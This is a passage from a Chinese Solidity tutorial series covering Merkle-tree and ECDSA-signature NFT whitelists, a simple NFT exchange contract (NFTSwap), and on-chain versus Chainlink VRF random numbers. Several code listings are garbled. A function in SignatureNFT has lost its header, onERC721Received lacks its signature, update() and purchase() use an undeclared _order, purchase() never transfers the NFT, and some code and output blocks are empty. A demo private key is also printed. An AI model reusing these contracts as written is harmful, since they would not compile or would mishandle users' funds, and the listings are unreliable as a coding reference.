2. `processProof()`函数：利用`proof`和`leaf`依次计算出`Merkle Tree`的`root`。它调用了`_hashPair()`函数。

3.  `_hashPair()`函数：用`keccak256()`函数计算非根节点对应的两个子节点的哈希（排序后）。

我们将`地址0`，`root`和对应的`proof`输入到`verify()`函数，将返回`ture`。因为`地址0`在根为`root`的`Merkle Tree`中，且`proof`正确。如果改变了其中任意一个值，都将返回`false`。

## 利用`Merkle Tree`发放`NFT`白名单

一份拥有800个地址的白名单，更新一次所需的gas fee很容易超过1个ETH。而由于`Merkle Tree`验证时，`leaf`和`proof`可以存在后端，链上仅需存储一个`root`的值，非常节省`gas`，项目方经常用它来发放白名单。很多`ERC721`标准的`NFT`和`ERC20`标准代币的白名单/空投都是利用`Merkle Tree`发出的，比如`optimism`的空投。

这里，我们介绍如何利用`MerkleTree`合约来发放`NFT`白名单：

contract MerkleTree is ERC721 {
    bytes32 immutable public root; // Merkle树的根
    mapping(address => bool) public mintedAddress;   // 记录已经mint的地址

    // 构造函数，初始化NFT合集的名称、代号、Merkle树的根
    constructor(string

memory name, string memory symbol, bytes32 merkleroot)
    ERC721(name, symbol)
    {
        root = merkleroot;
    }

    // 利用Merkle树验证地址并完成mint
    function mint(address account, uint256 tokenId, bytes32[] calldata proof)
    external
    {
        require(_verify(_leaf(account), proof), "Invalid merkle proof"); // Merkle检验通过
        require(!mintedAddress[account], "Already minted!"); // 地址没有mint过
        _mint(account, tokenId); // mint
        mintedAddress[account] = true; // 记录mint过的地址
    }

    // 计算Merkle树叶子的哈希值
    function _leaf(address account)
    internal pure returns (bytes32)
    {
        return keccak256(abi.encodePacked(account));
    }

    // Merkle树验证，调用MerkleProof库的verify()函数
    function _verify(bytes32 leaf, bytes32[] memory proof)
    internal view returns (bool)
    {
        return MerkleProof.verify(proof, root, leaf);
    }
}
```

`MerkleTree`合约继承了`ERC721`标准，并利用了`MerkleProof`库。

### 状态变量
合约中共有两个状态变量：
- `root`存储了`Merkle Tree`的根，部署合约的时候赋值。
- `mintedAddress`是一个`mapping`，记录了已经`mint`过的地址，某地址mint成功后进行赋值。

### 函数
合约中共有4个函数：
- 构造函数：初始化`NFT`的名称和代号，还有`Merkle Tree`的`root`。
-

`mint()`函数：利用白名单铸造`NFT`。参数为白名单地址`account`，铸造的`tokenId`，和`proof`。首先验证`address`是否在白名单中，验证通过则把序号为`tokenId`的`NFT`铸造给该地址，并将它记录到`mintedAddress`。此过程中调用了`_leaf()`和`_verify()`函数。
- `_leaf()`函数：计算了`Merkle Tree`的叶子地址的哈希。
- `_verify()`函数：调用了`MerkleProof`库的`verify()`函数，进行`Merkle Tree`验证。

### `remix`验证

我们使用上面例子的`4`个地址作为白名单并生成`Merkle Tree`。我们部署`MerkleTree`合约，`3`个参数分别为：
name = "WTF MerkleTree"
symbol = "WTF"
merkleroot = 0xeeefd63003e0e702cb41cd0043015a6e26ddb38073cc6ffeb0ba3e808ba8c097
```

![部署MerkleTree合约](./img/36-5.png)

接下来运行`mint`函数给地址0铸造`NFT`，`3`个参数分别为：

account = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
tokenId = 0
proof = [   "0x999bf57501565dbd2fdcea36efa2b9aef8340a8901e3459f4a4c926275d36cdb",   "0x4726e4102af77216b09ccd94f40daa10531c87c4d60bba7f3b3faf5ff9f19b3c" ]
```

![白名单mint](./img/36-6.png)

我们可以用`ownerOf`函数验证`tokenId`为0的`NFT`已经铸造给了地址0，合约运行成功！

![tokenId为0的持有者改变，合约运行成功！](./img/36-7.png)

此时，若再次调用mint函数，虽然该地址能够通过`Merkle Proof`验证，但由于地址已经记录在`mintedAddress`中，因此该交易会由于`"Already minted!"`被中止。

##

总结

这一讲，我们介绍了`Merkle Tree`的概念，如何生成简单的`Merkle Tree`，如何利用智能合约验证`Merkle Tree`，以及用它来发放`NFT`白名单。

在实际使用中，复杂的`Merkle Tree`可以利用`javascript`库`merkletreejs`来生成和管理，链上只需要存储一个根值，非常节省`gas`。很多项目方都选择利用`Merkle Tree`来发放白名单。

---
title: 37. 数字签名
tags:
  - solidity
  - ERC721
  - Signature
---

# WTF Solidity极简入门: 37. 数字签名 Signature

-----

这一讲，我们将简单的介绍以太坊中的数字签名`ECDSA`，以及如何利用它发放`NFT`白名单。代码中的`ECDSA`库由`OpenZeppelin`的同名库简化而成。

## 数字签名

如果你用过`opensea`交易`NFT`，对签名就不会陌生。下图是小狐狸（`metamask`）钱包进行签名时弹出的窗口，它可以证明你拥有私钥的同时不需要对外公布私钥。

![metamask签名](./img/37-1.png)

以太坊使用的数字签名算法叫双椭圆曲线数字签名算法（`ECDSA`），基于双椭圆曲线“私钥-公钥”对的数字签名算法。它主要起到了[三个作用](https://en.wikipedia.org/wiki/Digital_signature)：

1. **身份认证**：证明签名方是私钥的持有人。
2. **不可否认**：发送方不能否认发送过这个消息。
3. **完整性**：消息在传输过程中无法被修改。

## `ECDSA`合约

`ECDSA`标准中包含两个部分：

1. 签名者利用`私钥`（隐私的）对`消息`（公开的）创建`签名`（公开的）。
2.

其他人使用`消息`（公开的）和`签名`（公开的）恢复签名者的`公钥`（公开的）并验证签名。
我们将配合`ECDSA`库讲解这两个部分。本教程所用的`私钥`，`公钥`，`消息`，`以太坊签名消息`，`签名`如下所示：
```
私钥: 0x227dbb8586117d55284e26620bc76534dfbd2394be34cf4a09cb775d593b6f2b
公钥: 0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2
消息: 0x1bf2c0ce4546651a1a2feb457b39d891a6b83931cc2454434f39961345ac378c
以太坊签名消息: 0xb42ca4636f721c7a331923e764587e98ec577cea1a185f60dfcc14dbb9bd900b
签名: 0x390d704d7ab732ce034203599ee93dd5d3cb0d4d1d7c600ac11726659489773d559b12d220f99f41d17651b0c1c6a669d346a397f8541760d6b32a5725378b241c
```

### 创建签名

**1. 打包消息：** 在以太坊的`ECDSA`标准中，被签名的`消息`是一组数据的`keccak256`哈希，为`bytes32`类型。我们可以把任何想要签名的内容利用`abi.encodePacked()`函数打包，然后用`keccak256()`计算哈希，作为`消息`。我们例子中的`消息`是由一个`address`类型变量和一个`uint256`类型变量得到的：

    /*
     * 将mint地址（address类型）和tokenId（uint256类型）拼成消息msgHash
     * _account: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
     * _tokenId: 0
     * 对应的消息msgHash: 0x1bf2c0ce4546651a1a2feb457b39d891a6b83931cc2454434f39961345ac378c
     */
    function getMessageHash(address _account, uint256 _tokenId) public pure returns(bytes32){
        return

keccak256(abi.encodePacked(_account, _tokenId));
    }
```

![打包消息](./img/37-2.png)

**2. 计算以太坊签名消息：** `消息`可以是能被执行的交易，也可以是其他任何形式。为了避免用户误签了恶意交易，`EIP191`提倡在`消息`前加上`"\x19Ethereum Signed Message:\n32"`字符，并再做一次`keccak256`哈希，作为`以太坊签名消息`。经过`toEthSignedMessageHash()`函数处理后的消息，不能被用于执行交易:
    /**
     * @dev 返回 以太坊签名消息
     * `hash`：消息
     * 遵从以太坊签名标准：https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
     * 以及`EIP191`:https://eips.ethereum.org/EIPS/eip-191`
     * 添加"\x19Ethereum Signed Message:\n32"字段，防止签名的是可执行交易。
     */
    function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
        // 哈希的长度为32
        return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
    }
```
处理后的消息为：

```
```

![以太坊签名消息](./img/37-3.png)

**3-1. 利用钱包签名：**

日常操作中，大部分用户都是通过这种方式进行签名。在获取到需要签名的消息之后，我们需要使用`metamask`钱包进行签名。`metamask`的`personal_sign`方法会自动把`消息`转换为`以太坊签名消息`，然后发起签名。所以我们只需要输入`消息`和`签名者钱包account`即可。需要注意的是输入的`签名者钱包account`需要和`metamask`当前连接的account一致才能使用。

因此首先把例子中的`私钥`导入到小狐狸钱包，然后打开浏览器的`console`页面：`Chrome菜单-更多工具-开发者工具-Console`。在连接钱包的状态下（如连接opensea，否则会出现错误），依次输入以下指令进行签名：

```
ethereum.enable()
account = "0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2"
hash = "0x1bf2c0ce4546651a1a2feb457b39d891a6b83931cc2454434f39961345ac378c"
ethereum.request({method: "personal_sign", params: [account, hash]})
```

在返回的结果中（`Promise`的`PromiseResult`）可以看到创建好的签名。不同账户有不同的私钥，创建的签名值也不同。利用教程的私钥创建的签名如下所示：

```
0x390d704d7ab732ce034203599ee93dd5d3cb0d4d1d7c600ac11726659489773d559b12d220f99f41d17651b0c1c6a669d346a397f8541760d6b32a5725378b241c
```

![浏览器console调用metamask进行签名](./img/37-4.jpg)

**3-2. 利用web3.py签名：** 批量调用中更倾向于使用代码进行签名，以下是基于web3.py的实现。
```
from web3 import Web3, HTTPProvider
from eth_account.messages import encode_defunct

private_key =

"0x227dbb8586117d55284e26620bc76534dfbd2394be34cf4a09cb775d593b6f2b"
address = "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4"
rpc = 'https://rpc.ankr.com/eth'
w3 = Web3(HTTPProvider(rpc))

#打包信息
msg = Web3.solidityKeccak(['address','uint256'], [address,0])
print(f"消息：{msg.hex()}")
#构造可签名信息
message = encode_defunct(hexstr=msg.hex())
#签名
signed_message = w3.eth.account.sign_message(message, private_key=private_key)
print(f"签名：{signed_message['signature'].hex()}")
```
运行的结果如下所示。计算得到的消息，签名和前面的案例一致。
```
消息：0x1bf2c0ce4546651a1a2feb457b39d891a6b83931cc2454434f39961345ac378c
签名：0x390d704d7ab732ce034203599ee93dd5d3cb0d4d1d7c600ac11726659489773d559b12d220f99f41d17651b0c1c6a669d346a397f8541760d6b32a5725378b241c
```
### 验证签名

为了验证签名，验证者需要拥有`消息`，`签名`，和签名使用的`公钥`。我们能验证签名的原因是只有`私钥`的持有者才能够针对交易生成这样的签名，而别人不能。

**4. 通过签名和消息恢复公钥：**`签名`是由数学算法生成的。这里我们使用的是`rsv签名`，`签名`中包含`r, s, v`三个值的信息。而后，我们可以通过`r, s, v`及`以太坊签名消息`来求得`公钥`。下面的`recoverSigner()`函数实现了上述步骤，它利用`以太坊签名消息 _msgHash`和`签名 _signature`恢复`公钥`（使用了简单的内联汇编）：

    // @dev

从_msgHash和签名_signature中恢复signer地址
    function recoverSigner(bytes32 _msgHash, bytes memory _signature) internal pure returns (address){
        // 检查签名长度，65是标准r,s,v签名的长度
        require(_signature.length == 65, "invalid signature length");
        bytes32 r;
        bytes32 s;
        uint8 v;
        // 目前只能用assembly (内联汇编)来从签名中获得r,s,v的值
        assembly {
            /*
            前32 bytes存储签名的长度 (动态数组存储规则)
            add(sig, 32) = sig的指针 + 32
            等效为略过signature的前32 bytes
            mload(p) 载入从内存地址p起始的接下来32 bytes数据
            */
            // 读取长度数据后的32 bytes
            r := mload(add(_signature, 0x20))
            // 读取之后的32 bytes
            s := mload(add(_signature, 0x40))
            // 读取最后一个byte
            v := byte(0, mload(add(_signature, 0x60)))
        }
        // 使用ecrecover(全局函数)：利用 msgHash 和 r,s,v 恢复 signer 地址
        return ecrecover(_msgHash, v, r, s);
    }
```
参数分别为：
```
_msgHash：0xb42ca4636f721c7a331923e764587e98ec577cea1a185f60dfcc14dbb9bd900b
_signature：0x390d704d7ab732ce034203599ee93dd5d3cb0d4d1d7c600ac11726659489773d559b12d220f99f41d17651b0c1c6a669d346a397f8541760d6b32a5725378b241c
```
![通过签名和消息恢复公钥](./img/37-8.png)

**5. 对比公钥并验证签名：** 接下来，我们只需要比对恢复的`公钥`与签名者公钥`_signer`是否相等：若相等，则签名有效；否则，签名无效：

    /**
     * @dev 通过ECDSA，验证签名地址是否正确，如果正确则返回true
     *

_msgHash为消息的hash
     * _signature为签名
     * _signer为签名地址
     */
    function verify(bytes32 _msgHash, bytes memory _signature, address _signer) internal pure returns (bool) {
        return recoverSigner(_msgHash, _signature) == _signer;
    }
```
参数分别为：
```
_signer：0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2
```
![对比公钥并验证签名：](./img/37-9.png)
## 利用签名发放白名单

`NFT`项目方可以利用`ECDSA`的这个特性发放白名单。由于签名是链下的，不需要`gas`，因此这种白名单发放模式比`Merkle Tree`模式还要经济。方法非常简单，项目方利用项目方账户把白名单发放地址签名（可以加上地址可以铸造的`tokenId`）。然后`mint`的时候利用`ECDSA`检验签名是否有效，如果有效，则给他`mint`。

`SignatureNFT`合约实现了利用签名发放`NFT`白名单。

### 状态变量
- `signer`：`公钥`，项目方签名地址。
- `mintedAddress`是一个`mapping`，记录了已经`mint`过的地址。

### 函数
- 构造函数初始化`NFT`的名称和代号，还有`ECDSA`的签名地址`signer`。
-

`mint()`函数接受地址`address`，`tokenId`和`_signature`三个参数，验证签名是否有效：如果有效，则把`tokenId`的`NFT`铸造给`address`地址，并将它记录到`mintedAddress`。它调用了`getMessageHash()`，`ECDSA.toEthSignedMessageHash()`和`verify()`函数。
- `getMessageHash()`函数将`mint`地址（`address`类型）和`tokenId`（`uint256`类型）拼成`消息`。
- `verify()`函数调用了`ECDSA`库的`verify()`函数，来进行`ECDSA`签名验证。

contract SignatureNFT is ERC721 {
    address immutable public signer; // 签名地址

    // 构造函数，初始化NFT合集的名称、代号、签名地址
    constructor(string memory _name, string memory _symbol, address _signer)
    ERC721(_name, _symbol)
    {
        signer = _signer;
    }

    // 利用ECDSA验证签名并mint
    function mint(address _account, uint256 _tokenId, bytes memory _signature)
    external
    {
        bytes32 _msgHash = getMessageHash(_account, _tokenId); // 将_account和_tokenId打包消息
        bytes32 _ethSignedMessageHash = ECDSA.toEthSignedMessageHash(_msgHash); // 计算以太坊签名消息
        require(verify(_ethSignedMessageHash, _signature), "Invalid signature"); // ECDSA检验通过
        require(!mintedAddress[_account], "Already minted!"); // 地址没有mint过
        _mint(_account, _tokenId); // mint
       
       mintedAddress[_account] = true; // 记录mint过的地址
    }

    /*
     * 对应的消息: 0x1bf2c0ce4546651a1a2feb457b39d891a6b83931cc2454434f39961345ac378c
     */
        return keccak256(abi.encodePacked(_account, _tokenId));
    }

    // ECDSA验证，调用ECDSA库的verify()函数
    function verify(bytes32 _msgHash, bytes memory _signature)
    public view returns (bool)
    {
        return ECDSA.verify(_msgHash, _signature, signer);
    }
}
```

- 链下通过以太坊签名获得`signature`，给`_account`地址发放`tokenId = 0`的白名单。所用的数据见<`ECDSA`合约>章节。

- 部署`SignatureNFT`合约，参数分别为：
```
_name: WTF Signature
_symbol: WTF
_signer: 0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2
```

![部署SignatureNFT合约](./img/37-5.png)

- 调用`mint()`函数利用`ECDSA`验证签名并铸造，参数为：
```
_account: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
_tokenId: 0
_signature:

```

![部署SignatureNFT合约](./img/37-6.png)

- 调用`ownerOf()`函数，可以看到`tokenId = 0`成功铸造给了地址`_account`，合约运行成功！

![tokenId为0的持有者改变，合约运行成功！](./img/37-7.png)

## 总结

这一讲，我们介绍了以太坊中的数字签名`ECDSA`，如何利用`ECDSA`创建和验证签名，还有`ECDSA`合约，以及如何利用它发放`NFT`白名单。代码中的`ECDSA`库由`OpenZeppelin`的[同名库](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/ECDSA.sol)简化而成。
- 由于签名是链下的，不需要`gas`，因此这种白名单发放模式比`Merkle Tree`模式还要经济；
- 但由于用户要请求中心化接口去获取签名，不可避免的牺牲了一部分去中心化；
- 额外还有一个好处是白名单可以动态变化，而不是提前写死在合约里面了，因为项目方的中心化后端接口可以接受任何新地址的请求并给予白名单签名。

---
title: 38. NFT交易所
tags:
  - solidity
  - ERC721
  - NFT Swap
---

# WTF Solidity极简入门: 38. NFT交易所

discord：[WTF Academy](https://discord.gg/5akcruXrsk)

-----

`Opensea`是以太坊上最大的`NFT`交易平台，总交易总量达到了`$300亿`。`Opensea`在交易中抽成`2.5%`，因此它通过用户交易至少获利了`$7.5亿`。另外，它的运作并不去中心化，且不准备发币补偿用户。`NFT`玩家苦`Opensea`久已，今天我们就利用智能合约搭建一个零手续费的去中心化`NFT`交易所：`NFTSwap`。

## 设计逻辑

- 卖家：出售`NFT`的一方，可以挂单`list`、撤单`revoke`、修改价格`update`。
- 买家：购买`NFT`的一方，可以购买`purchase`。
- 订单：卖家发布的`NFT`链上订单，一个系列的同一`tokenId`最多存在一个订单，其中包含挂单价格`price`和持有人`owner`信息。当一个订单交易完成或被撤单后，其中信息清零。

## `NFTSwap`合约

### 事件
合约包含`4`个事件，对应挂单`list`、撤单`revoke`、修改价格`update`、购买`purchase`这四个行为：
    event List(address indexed seller, address indexed nftAddr, uint256 indexed tokenId, uint256 price);
    event Purchase(address indexed buyer, address indexed nftAddr, uint256 indexed

tokenId, uint256 price);
    event Revoke(address indexed seller, address indexed nftAddr, uint256 indexed tokenId);    
    event Update(address indexed seller, address indexed nftAddr, uint256 indexed tokenId, uint256 newPrice);
```

### 订单
`NFT`订单抽象为`Order`结构体，包含挂单价格`price`和持有人`owner`信息。`nftList`映射记录了订单是对应的`NFT`系列（合约地址）和`tokenId`信息。
    // 定义order结构体
    struct Order{
        address owner;
        uint256 price; 
    }
    // NFT Order映射
    mapping(address => mapping(uint256 => Order)) public nftList;
```

### 回退函数
在`NFTSwap`中，用户使用`ETH`购买`NFT`。因此，合约需要实现`fallback()`函数来接收`ETH`。

```

### onERC721Received

`ERC721`的安全转账函数会检查接收合约是否实现了`onERC721Received()`函数，并返回正确的选择器`selector`。用户下单之后，需要将`NFT`发送给`NFTSwap`合约。因此`NFTSwap`继承`IERC721Receiver`接口，并实现`onERC721Received()`函数：

```
contract NFTSwap is IERC721Receiver{

    // 实现{IERC721Receiver}的onERC721Received，能够接收ERC721代币
    ) external override returns (bytes4){
        return IERC721Receiver.onERC721Received.selector;
    }
```

###

交易

合约实现了`4`个交易相关的函数：

- 挂单`list()`：卖家创建`NFT`并创建订单，并释放`List`事件。参数为`NFT`合约地址`_nftAddr`，`NFT`对应的`_tokenId`，挂单价格`_price`（**注意：单位是`wei`**）。成功后，`NFT`会从卖家转到`NFTSwap`合约中。

    // 挂单: 卖家上架NFT，合约地址为_nftAddr，tokenId为_tokenId，价格_price为以太坊（单位是wei）
    function list(address _nftAddr, uint256 _tokenId, uint256 _price) public{
        IERC721 _nft = IERC721(_nftAddr); // 声明IERC721接口合约变量
        require(_nft.getApproved(_tokenId) == address(this), "Need Approval"); // 合约得到授权
        require(_price > 0); // 价格大于0

        Order storage _order = nftList[_nftAddr][_tokenId]; //设置NF持有人和价格
        _order.owner = msg.sender;
        _order.price = _price;
        // 将NFT转账到合约
        _nft.safeTransferFrom(msg.sender, address(this), _tokenId);

        // 释放List事件
        emit List(msg.sender, _nftAddr, _tokenId, _price);
    }
```

- 撤单`revoke()`：卖家撤回挂单，并释放`Revoke`事件。参数为`NFT`合约地址`_nftAddr`，`NFT`对应的`_tokenId`。成功后，`NFT`会从`NFTSwap`合约转回卖家。
    // 撤单： 卖家取消挂单
    function revoke(address _nftAddr, uint256 _tokenId) public {
        Order storage _order = nftList[_nftAddr][_tokenId]; // 取得Order        
        require(_order.owner == msg.sender, "Not Owner"); // 必须由持有人发起
        // 声明IERC721接口合约变量
        IERC721

_nft = IERC721(_nftAddr);
        require(_nft.ownerOf(_tokenId) == address(this), "Invalid Order"); // NFT在合约中
        
        // 将NFT转给卖家
        _nft.safeTransferFrom(address(this), msg.sender, _tokenId);
        delete nftList[_nftAddr][_tokenId]; // 删除order
      
        // 释放Revoke事件
        emit Revoke(msg.sender, _nftAddr, _tokenId);
    }
```
- 修改价格`update()`：卖家修改`NFT`订单价格，并释放`Update`事件。参数为`NFT`合约地址`_nftAddr`，`NFT`对应的`_tokenId`，更新后的挂单价格`_newPrice`（**注意：单位是`wei`**）。
    // 调整价格: 卖家调整挂单价格
    function update(address _nftAddr, uint256 _tokenId, uint256 _newPrice) public {
        require(_newPrice > 0, "Invalid Price"); // NFT价格大于0
        IERC721 _nft = IERC721(_nftAddr);
        
        // 调整NFT价格
        _order.price = _newPrice;
      
        // 释放Update事件
        emit Update(msg.sender, _nftAddr, _tokenId, _newPrice);
    }
```

-

购买`purchase`：买家支付`ETH`购买挂单的`NFT`，并释放`Purchase`事件。参数为`NFT`合约地址`_nftAddr`，`NFT`对应的`_tokenId`。成功后，`ETH`将转给卖家，`NFT`将从`NFTSwap`合约转给买家。
    // 购买: 买家购买NFT，合约为_nftAddr，tokenId为_tokenId，调用函数时要附带ETH
    function purchase(address _nftAddr, uint256 _tokenId) payable public {
        require(_order.price > 0, "Invalid Price"); // NFT价格大于0
        require(msg.value >= _order.price, "Increase price"); // 购买价格大于标价

        // 将NFT转给买家
        // 将ETH转给卖家，多余ETH给买家退款
        payable(_order.owner).transfer(_order.price);
        payable(msg.sender).transfer(msg.value-_order.price);

        // 释放Purchase事件
        emit Purchase(msg.sender, _nftAddr, _tokenId, msg.value);
    }
```

## `Remix`实现

### 1. 部署NFT合约
参考 [ERC721](https://github.com/AmazingAng/WTFSolidity/tree/main/34_ERC721) 教程了解NFT，并部署`WTFApe` NFT合约。

![部署NFT合约](./img/38-1.png)

将首个NFT

mint给自己，这里mint给自己是为了之后能够上架NFT、修改价格等一系类操作。

`mint(address to, uint tokenId)`方法有2个参数:

`to`:将 NFT mint给指定的地址，这里通常是自己的钱包地址。

`tokenId`: `WTFApe`合约定义了总量为10000个NFT，图中mint它的的第一个和第二个NFT，`tokenId`分别为`0`和`1`。

![mint NFT](./img/38-2.png)

在`WTFApe`合约中，利用`ownerOf`确认自己已经获得`tokenId`为0的NFT。

`ownerOf(uint tokenId)`方法有1个参数:

`tokenId`: `tokenId`为NFT的id，本案例中为上述mint的`0`Id。

![确认自己已经获得NFT](./img/38-3.png)

按照上述方法，将TokenId为 `0` 和 `1` 的NFT都mint给自己，其中`tokenId`为`0`的，我们执行更新购买操作，`tokenId`为`1`的，我们执行下架操作。

### 2. 部署`NFTSwap`合约
部署`NFTSwap`合约。

![部署`NFTSwap`合约](./img/38-4.png)

### 3. 将要上架的`NFT`授权给`NFTSwap`合约
在`WTFApe`合约中调用 `approve()`授权函数，将自己持有的`tokenId`为0的NFT授权给`NFTSwap`合约地址。

`approve(address to, uint tokenId)`方法有2个参数:

`to`: 将tokenId授权给 `to` 地址，本案例中将授权给`NFTSwap`合约地址。

![](./img/38-5.png)

按照上述方法，同理将`tokenId`为`1`的NFT也授权给`NFTSwap`合约地址。

### 4. 上架`NFT`
调用`NFTSwap`合约的`list()`函数，将自己持有的`tokenId`为0的NFT上架到`NFTSwap`，价格设为1 `wei`。

`list(address _nftAddr, uint256 _tokenId, uint256 _price)`方法有3个参数:

`_nftAddr`:

`_nftAddr`为NFT合约地址，本案例中为`WTFApe`合约地址。

`_tokenId`: `_tokenId`为NFT的id，本案例中为上述mint的`0`Id。

`_price`: `_price`为NFT的价格，本案例中为1 `wei`。

![](./img/38-6.png)

按照上述方法，同理将自己持有的`tokenId`为1的NFT上架到`NFTSwap`，价格设为1 `wei`。

### 5. 查看上架NFT

调用`NFTSwap`合约的`nftList()`函数查看上架的NFT。

`nftList`:是一个NFT Order的映射，结构如下：

`nftList[_nftAddr][_tokenId]`: 输入`_nftAddr`和`_tokenId`，返回一个NFT订单。 

![](./img/38-7.png)

### 6. 更新`NFT`价格

调用`NFTSwap`合约的`update()`函数，将`tokenId`为0的NFT价格更新为77 `wei`

`update(address _nftAddr, uint256 _tokenId, uint256 _newPrice)`方法有3个参数:

`_nftAddr`: `_nftAddr`为NFT合约地址，本案例中为`WTFApe`合约地址。

`_newPrice`: `_newPrice`为NFT的新价格，本案例中为77 `wei`。

执行`update`之后，调用`nftList` 查看更新后的价格

![](./img/38-8.png)

### 5. 下架NFT

调用`NFTSwap`合约的`revoke()`函数下架NFT。

上述文章中，我们上架了2个NFT，`tokenId`分别为 `0` 和 `1`。本次方法中，我们下架`tokenId`为`1`的NFT。

`revoke(address _nftAddr, uint256 _tokenId)`方法有2个参数:

`_tokenId`:

`_tokenId`为NFT的id，本案例中为上述mint的`1`Id。

![](./img/38-9.png)

调用`NFTSwap`合约的`nftList()`函数，可以看到`NFT`已经下架。再次上架需要重新授权。

![](./img/38-10.png)

**注意下架NFT之后，需要重新从步骤3开始，重新授权和上架NFT之后，才能进行购买**

### 6. 购买`NFT`

切换账号，调用`NFTSwap`合约的`purchase()`函数购买NFT，购买时需要输入`NFT`合约地址，`tokenId`，并输入支付的`ETH`。

我们下架了`tokenId`为`1`的NFT，现在还存在`tokenId`为`0`的NFT，所以我们可以购买`tokenId`为`0`的NFT。

`purchase(address _nftAddr, uint256 _tokenId, uint256 _wei)`方法有3个参数:

`_wei`: `_wei`为支付的`ETH`数量，本案例中为1 `wei`。

![](./img/38-11.png)

### 7. 验证`NFT`持有人改变

购买成功之后，调用`WTFApe`合约的`ownerOf()`函数，可以看到`NFT`持有者发生变化，购买成功！

![](./img/38-12.png)

## 总结
这一讲，我们建立了一个零手续费的去中心化`NFT`交易所。`OpenSea`虽然对`NFT`的发展做了很大贡献，但它的缺点也非常明显：高手续费、不发币回馈用户、交易机制容易被钓鱼导致用户资产丢失。目前`Looksrare`和`dydx`等新的`NFT`交易平台正在挑战`OpenSea`的位置，`Uniswap`也在研究新的`NFT`交易所。相信不久的将来，我们会用到更好的`NFT`交易所。

---
title: 39. 链上随机数
tags:
  - solidity
  - ERC721
  - random
  - chainlink
---

# WTF Solidity极简入门: 39. 链上随机数

-----

很多以太坊上的应用都需要用到随机数，例如`NFT`随机抽取`tokenId`、抽盲盒、`gamefi`战斗中随机分胜负等等。但是由于以太坊上所有数据都是公开透明（`public`）且确定性（`deterministic`）的，它没法像其他编程语言一样给开发者提供生成随机数的方法。这一讲我们将介绍链上（哈希函数）和链下（`chainlink`预言机）随机数生成的两种方法，并利用它们做一款`tokenId`随机铸造的`NFT`。

## 链上随机数生成

我们可以将一些链上的全局变量作为种子，利用`keccak256()`哈希函数来获取伪随机数。这是因为哈希函数具有灵敏性和均一性，可以得到“看似”随机的结果。下面的`getRandomOnchain()`函数利用全局变量`block.number`，`msg.sender`和`blockhash(block.timestamp-1)`作为种子来获取随机数：

    /** 
    * 链上伪随机数生成
    * 利用keccak256()打包一些链上的全局变量/自定义变量
    * 返回时转换成uint256类型
    */
    function getRandomOnchain() public view returns(uint256){
        // remix运行blockhash会报错
        bytes32 randomBytes =

keccak256(abi.encodePacked(block.number, msg.sender, blockhash(block.timestamp-1)));
        
        return uint256(randomBytes);
    }
```

**注意:**，这个方法并不安全：
- 首先，`block.number`，`msg.sender`和`blockhash(block.timestamp-1)`这些变量都是公开的，使用者可以预测出用这些种子生成出的随机数，并挑出他们想要的随机数执行合约。
- 其次，矿工可以操纵`blockhash`和`block.timestamp`，使得生成的随机数符合他的利益。

尽管如此，由于这种方法是最便捷的链上随机数生成方法，大量项目方依靠它来生成不安全的随机数，包括知名的项目`meebits`，`loots`等。当然，这些项目也无一例外的被[攻击](https://forum.openzeppelin.com/t/understanding-the-meebits-exploit/8281)了：攻击者可以铸造任何他们想要的稀有`NFT`，而非随机抽取。

## 链下随机数生成

我们可以在链下生成随机数，然后通过预言机把随机数上传到链上。`Chainlink`提供`VRF`（可验证随机函数）服务，链上开发者可以支付`LINK`代币来获取随机数。` Chainlink VRF`有两个版本，因为第二个版本需要官网注册并预付费，且用法类似，这里只介绍第一个版本`VRF v1`。

### `Chainlink VRF`使用步骤
![Chainlnk VRF](./img/39-1.png)

我们将用一个简单的合约介绍使用`Chainlink VRF`的步骤。`RandomNumberConsumer`合约可以向`VRF`请求一个随机数，并存储在状态变量`randomResult`中。

**1. 用户合约继承`VRFConsumerBase`并转入`LINK`代币** 

为了使用`VRF`获取随机数，合约需要继承`VRFConsumerBase`合约，并在构造函数中初始化`VRF Coordinator`地址，`LINK`代币地址，唯一标识符`Key Hash`，和使用费用`fee`。

**注意:**

不同链对应不同的参数，在[这里](https://docs.chain.link/docs/vrf-contracts/v1/)查询。

教程中我们使用`Rinkeby`测试网。部署好合约后，用户需要向合约转一些`LINK`代币，测试网的`LINK`代币可以从[LINK水龙头](https://faucets.chain.link/)领取。

import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";

contract RandomNumberConsumer is VRFConsumerBase {
    
    bytes32 internal keyHash; // VRF唯一标识符
    uint256 internal fee; // VRF使用手续费
    
    uint256 public randomResult; // 存储随机数
    
    /**
     * 使用chainlink VRF，构造函数需要继承 VRFConsumerBase 
     * 不同链参数填的不一样
     * 网络: Rinkeby测试网
     * Chainlink VRF Coordinator 地址: 0xb3dCcb4Cf7a26f6cf6B120Cf5A73875B7BBc655B
     * LINK 代币地址: 0x01BE23585060835E02B77ef475b0Cc51aA1e0709
     * Key Hash: 0x2ed0feb3e7fd2022120aa84fab1945545a9f2ffc9076fd6156fa96eaff4c1311
     */
    constructor() 
        VRFConsumerBase(
            0xb3dCcb4Cf7a26f6cf6B120Cf5A73875B7BBc655B, // VRF Coordinator
            0x01BE23585060835E02B77ef475b0Cc51aA1e0709  // LINK Token
        )
    {
        keyHash = 0x2ed0feb3e7fd2022120aa84fab1945545a9f2ffc9076fd6156fa96eaff4c1311;
        fee = 0.1 * 10 ** 18; // 0.1 LINK (VRF使用费，Rinkeby测试网)
    }
```
**2. 用户合约申请随机数**

用户可以调用从`VRFConsumerBase`合约继承来的`requestRandomness()`申请随机数，并返回申请标识符`requestId`。这个申请会传递给`VRF`合约。

    /** 
     * 向VRF合约申请随机数 
     */
    function getRandomNumber() public returns (bytes32 requestId) {
        // 合约中需要有足够的LINK
        require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK - fill contract with faucet");

        return requestRandomness(keyHash, fee);
    }
```

